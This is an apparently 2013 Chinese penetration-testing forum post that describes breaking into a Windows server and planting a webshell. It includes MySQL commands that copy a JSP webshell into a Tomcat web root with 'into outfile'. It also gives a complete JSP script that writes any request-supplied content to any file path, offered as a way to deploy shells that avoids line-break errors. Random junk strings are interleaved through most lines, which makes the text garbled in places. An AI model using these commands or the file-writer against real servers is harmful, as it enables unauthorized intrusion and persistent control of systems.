中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
% U- e( d3 J; y( `6 }$ {
* N6 @! U0 q: |首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
9 u2 D$ _8 E  L* @% F. G$ R& }2 t安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)6 Y, X5 B/ _2 N9 X- t
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了6 o% ^( c9 u! G0 H7 f( Y9 c. }
1 show variables like '%plugin%';3 l1 J! o8 o! L. d3 [2 s
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
" b0 I$ z# z, y: V* j创建自定义函数似乎被拦截,一直失败。% {  y7 l9 V' D( {
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
3 L5 o- {& f1 x8 v- L% ~$ ~测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp& g' j5 t% G3 v1 }% t& R( [
用mysql执行语句:" V) ]/ p3 i& ~0 W% J
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'# |* |1 z$ D0 F
2 复制代码& Y8 T9 A" i, o
后成功。/ O* G* u3 B( I! Q# {3 \
但是访问后得到如下提示:" Y  B. K- n% j: H, M% S1 A
​500页面$ i; T+ s8 g+ w2 L$ M- t
9 M9 ]6 t) @, z6 W, a* }
& I* e, o& p. {% B( X4 {' y2 i
明显是MySQL的Win下版本自动添加转义符\n\r了' P; q$ d2 k! F' ?
这样导致程序运行的悲剧。# k. D/ u, f# f' k0 \" ]: W
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
. _! p' c1 S; @最后弄了这么个小脚本:. x5 g% I  k  ]- w' A5 m" Y" Z
01 <%@ page language="java" pageEncoding="gbk"%>
9 Z' ?# v/ J' ^# A9 w. w* a02 <jsp:directive.page import="java.io.File"/>9 w/ a1 j* s) g4 k9 u: \$ R) ?+ ^5 O6 `( p
03 <jsp:directive.page import="java.io.OutputStream"/>
8 }1 S  V1 Q; t0 h04 <jsp:directive.page import="java.io.FileOutputStream"/>/ q5 t4 R+ ^, K$ [( a  v
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
2 P# O  |9 S" f# g; o# I) v06 error www.2cto.com
9 D# ~% {; n( @  p) J: |2 S07 <%}}if(i==0){%>4 }( B# E- K+ U2 h5 ]) s
08 ok
1 n( T7 o) B; F2 r09 <%}%>
& r: z  I. D% T& A% h4 b8 M10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">* A+ B! `1 Z+ k% x. f
就可以避免转义符让JSP的马儿运行500错误了。
$ X; d+ y% r. |0 P; Z/ s




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2